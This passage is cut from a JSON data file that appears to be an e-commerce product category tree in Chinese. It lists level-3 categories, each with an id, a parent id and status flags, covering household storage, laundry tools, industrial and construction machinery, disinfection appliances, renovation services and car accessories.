,"extra":null,"is_get_child":false},{"id":27702,"name":"双面贴物器","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27770,"name":"书桌收纳置物架","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27706,"name":"桶装水支架","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27553,"name":"橡筋","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27707,"name":"洗衣机底座","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27709,"name":"阳台置物架","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27655,"name":"粘灰尘器","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27653,"name":"整理隔板","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27646,"name":"整理架/置物架/收纳架","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27700,"name":"主机箱托架","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27628,"name":"桌脚垫","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27654,"name":"桌面隔板","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27745,"name":"其他整理用品","parent_cid":21413,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27656,"name":"便携衣架","parent_cid":21415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27753,"name":"旅行收纳套装","parent_cid":21415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27718,"name":"内衣收纳袋","parent_cid":21415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27719,"name":"衣物收纳袋","parent_cid":21415,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26832,"name":"除尘刷","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26825,"name":"搓衣板","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26836,"name":"大型晒衣架","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26838,"name":"电动毛球修剪器","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26823,"name":"叠衣板","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26841,"name":"多夹子晾衣架","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26835,"name":"烘干衣架","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26824,"name":"护洗袋","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26831,"name":"简易衣帽架","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26818,"name":"夹子","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26821,"name":"裤架","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26827,"name":"晾衣杆","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26843,"name":"晾衣架专用遥控器","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26833,"name":"领带架","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26826,"name":"晒衣篮","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26829,"name":"烫衣板","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26842,"name":"烫衣板及配件","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26837,"name":"小型晒衣架","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26828,"name":"洗护球","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26839,"name":"洗衣吸毛器","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26819,"name":"衣叉","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26820,"name":"衣架","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26840,"name":"衣物除尘滚/粘毛滚","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26830,"name":"粘尘纸","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26822,"name":"置地/升降晾晒衣架","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26834,"name":"其它用具","parent_cid":21152,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27164,"name":"缠绕机/裹包机","parent_cid":21307,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27122,"name":"充填机","parent_cid":21307,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27163,"name":"打包机/捆扎机","parent_cid":21307,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27171,"name":"打标机/打码机/喷码机","parent_cid":21307,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27123,"name":"贴标机","parent_cid":21307,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27409,"name":"其他包装设备","parent_cid":21307,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27138,"name":"烘炒机","parent_cid":21318,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27139,"name":"理条机","parent_cid":21318,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27136,"name":"揉捻机","parent_cid":21318,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27140,"name":"筛选机","parent_cid":21318,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27137,"name":"杀青机","parent_cid":21318,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27135,"name":"粉碎机","parent_cid":21316,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27134,"name":"破碎机","parent_cid":21316,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27132,"name":"砂磨机","parent_cid":21316,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27133,"name":"研磨机","parent_cid":21316,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27463,"name":"铲运机","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27457,"name":"打夯机","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27460,"name":"捣固机","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27458,"name":"打桩机","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27455,"name":"工程/建筑机械","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27467,"name":"工程钻机","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27475,"name":"管道疏通机械","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27469,"name":"混凝土泵","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27472,"name":"混凝土泵车","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27474,"name":"混凝土搅拌车","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27471,"name":"散装水泥车","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27468,"name":"摊铺机械","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27461,"name":"推土机","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27459,"name":"挖掘机","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27456,"name":"压路机","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27462,"name":"装载机","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27470,"name":"筑路机械","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27466,"name":"自卸车/翻斗车","parent_cid":21337,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27807,"name":"大气污染防治设备","parent_cid":21469,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27809,"name":"放射性污染防治和处理设备","parent_cid":21469,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27805,"name":"垃圾焚烧炉","parent_cid":21469,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27808,"name":"水质污染防治设备","parent_cid":21469,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27806,"name":"消音降噪设备","parent_cid":21469,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27320,"name":"工业镜头/远心镜头","parent_cid":21311,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27315,"name":"工业相机/摄像机","parent_cid":21311,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27279,"name":"视觉光源","parent_cid":21311,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27344,"name":"图像采集卡","parent_cid":21311,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27444,"name":"自动化视觉系统及设备","parent_cid":21311,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27019,"name":"奶罐/储罐","parent_cid":21302,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27121,"name":"乳化机","parent_cid":21302,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27408,"name":"乳品配套设备","parent_cid":21302,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27407,"name":"乳品生产设备","parent_cid":21302,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27170,"name":"吸奶机/挤奶机/集乳器","parent_cid":21302,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26687,"name":"调味品加工设备","parent_cid":21073,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26675,"name":"糕点设备","parent_cid":21073,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26674,"name":"烘焙设备","parent_cid":21073,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26671,"name":"炉灶/炊事设备","parent_cid":21073,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26676,"name":"酿酒设备","parent_cid":21073,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26672,"name":"洗菜机","parent_cid":21073,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26683,"name":"饮料加工设备/冷饮机","parent_cid":21073,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26691,"name":"其他食品加工设备","parent_cid":21073,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27127,"name":"成型机","parent_cid":21310,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27126,"name":"吹膜机","parent_cid":21310,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27125,"name":"吹塑机","parent_cid":21310,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27128,"name":"挤出机","parent_cid":21310,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27130,"name":"硫化机","parent_cid":21310,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27131,"name":"造粒机","parent_cid":21310,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27124,"name":"制袋机","parent_cid":21310,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27129,"name":"注塑机","parent_cid":21310,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27410,"name":"其他塑料机械","parent_cid":21310,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27772,"name":"迷你衣物消毒机","parent_cid":21438,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34369,"name":"电热油汀","parent_cid":21175,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34373,"name":"快热炉/电热膜","parent_cid":21175,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34370,"name":"暖风机","parent_cid":21175,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34371,"name":"踢脚线","parent_cid":21175,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34372,"name":"小太阳/远红外","parent_cid":21175,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27345,"name":"口罩消毒机","parent_cid":21321,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27348,"name":"马桶消毒器","parent_cid":21321,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27346,"name":"美妆消毒器","parent_cid":21321,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27411,"name":"消毒家电配件","parent_cid":21321,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27347,"name":"衣物消毒机","parent_cid":21321,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32154,"name":"其他消毒家电","parent_cid":21321,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27635,"name":"充气泵","parent_cid":21432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27637,"name":"缝纫机","parent_cid":21432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27636,"name":"干手器","parent_cid":21432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27759,"name":"其它日用家电","parent_cid":21432,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27926,"name":"节点监理","parent_cid":21493,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27925,"name":"全程监理","parent_cid":21493,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27927,"name":"设计审核","parent_cid":21493,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27924,"name":"验房","parent_cid":21493,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27928,"name":"预算审核","parent_cid":21493,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27933,"name":"半包装修","parent_cid":21496,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27934,"name":"清包施工","parent_cid":21496,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27932,"name":"全案装修","parent_cid":21496,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27931,"name":"全包装修","parent_cid":21496,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27935,"name":"局部改造","parent_cid":21497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27939,"name":"局部软装定制","parent_cid":21497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27938,"name":"局部硬装翻新","parent_cid":21497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27937,"name":"局部整体翻新","parent_cid":21497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27936,"name":"局部主材套餐","parent_cid":21497,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27930,"name":"工程设计","parent_cid":21494,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27929,"name":"家庭设计","parent_cid":21494,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27940,"name":"装修污染检测","parent_cid":21502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27941,"name":"装修污染治理","parent_cid":21502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27989,"name":"车用窗帘","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34138,"name":"车用密封胶条","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28072,"name":"车用指南针/指南球","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28070,"name":"车载应急包","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34144,"name":"车载应急包","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34143,"name":"充电口防水/保护盖","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34131,"name":"发动机底护板","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34136,"name":"防撞胶条/防划条","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28073,"name":"交通反光背心","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28071,"name":"酒精测试仪","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34133,"name":"轮胎防滑链","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34145,"name":"破窗器","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34134,"name":"汽车车衣","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34132,"name":"汽车防静电用品","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34140,"name":"汽车防雨/防雾膜","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28060,"name":"气压表/胎压表","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28063,"name":"司机护目镜","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34142,"name":"雪挡被","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34135,"name":"雨眉/晴雨挡","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28066,"name":"孕妇安全带","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27983,"name":"遮阳挡","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34137,"name":"遮阳伞","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28029,"name":"其他汽车防护","parent_cid":21524,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27970,"name":"车用便捷式GPS导航","parent_cid":21519,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34049,"name":"车用电器","parent_cid":21519,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27962,"name":"GPS充电器","parent_cid":21519,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27963,"name":"GPS导航模块","parent_cid":21519,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27964,"name":"GPS导航软件","parent_cid":21519,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27968,"name":"汽车电子","parent_cid":21519,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27974,"name":"汽车电子防盗安防","parent_cid":21519,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27967,"name":"汽车影音","parent_cid":21519,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":34028,"name":"汽车智能网联","parent_cid":21519,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":34029,"name":"新能源充电设备/用品","parent_cid":21519,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27973,"name":"其它汽车电子用品","parent_cid":21519,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27965,"name":"其它GPS导航配件","parent_cid":21519,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27955,"name":"其他","parent_cid":21518,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27997,"name":"包真皮座套","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34113,"name":"车用笔记本架","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34117,"name":"车用挂钩","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34112,"name":"车用水杯架/饮料架","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34115,"name":"车用烟灰缸","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34111,"name":"车用眼睛夹/票据夹","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34114,"name":"车用衣服架","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34118,"name":"车用纸巾盒/套","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28017,"name":"车载手机支架/手机座","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28018,"name":"儿童安全带套/固定器/延长带","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27987,"name":"方向盘套","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27999,"name":"货厢保护垫","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28013,"name":"驾车个人用品","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28014,"name":"驾驶室脚踏板","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34116,"name":"驾驶证件套","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27986,"name":"内饰改装","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27981,"name":"汽车挂件","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27988,"name":"汽车模型","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28015,"name":"汽车内饰贴片/贴纸","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27998,"name":"汽自驾野营","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27985,"name":"手刹套/档把套/套饰套装","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27996,"name":"停车号码牌","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28012,"name":"通用后备箱垫","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27992,"name":"通用脚垫","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27990,"name":"通用座垫","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27991,"name":"通用座套","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28023,"name":"一次性方向盘保护套","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28019,"name":"一次性汽车脚垫","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34110,"name":"中控台避光垫","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28021,"name":"专车专用后备箱垫","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28006,"name":"专车专用脚垫","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28004,"name":"专车专用座垫","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28005,"name":"专车专用座套","parent_cid":21520,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21761,"name":"汽车美容漆/膜/蜡","parent_cid":34027,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child"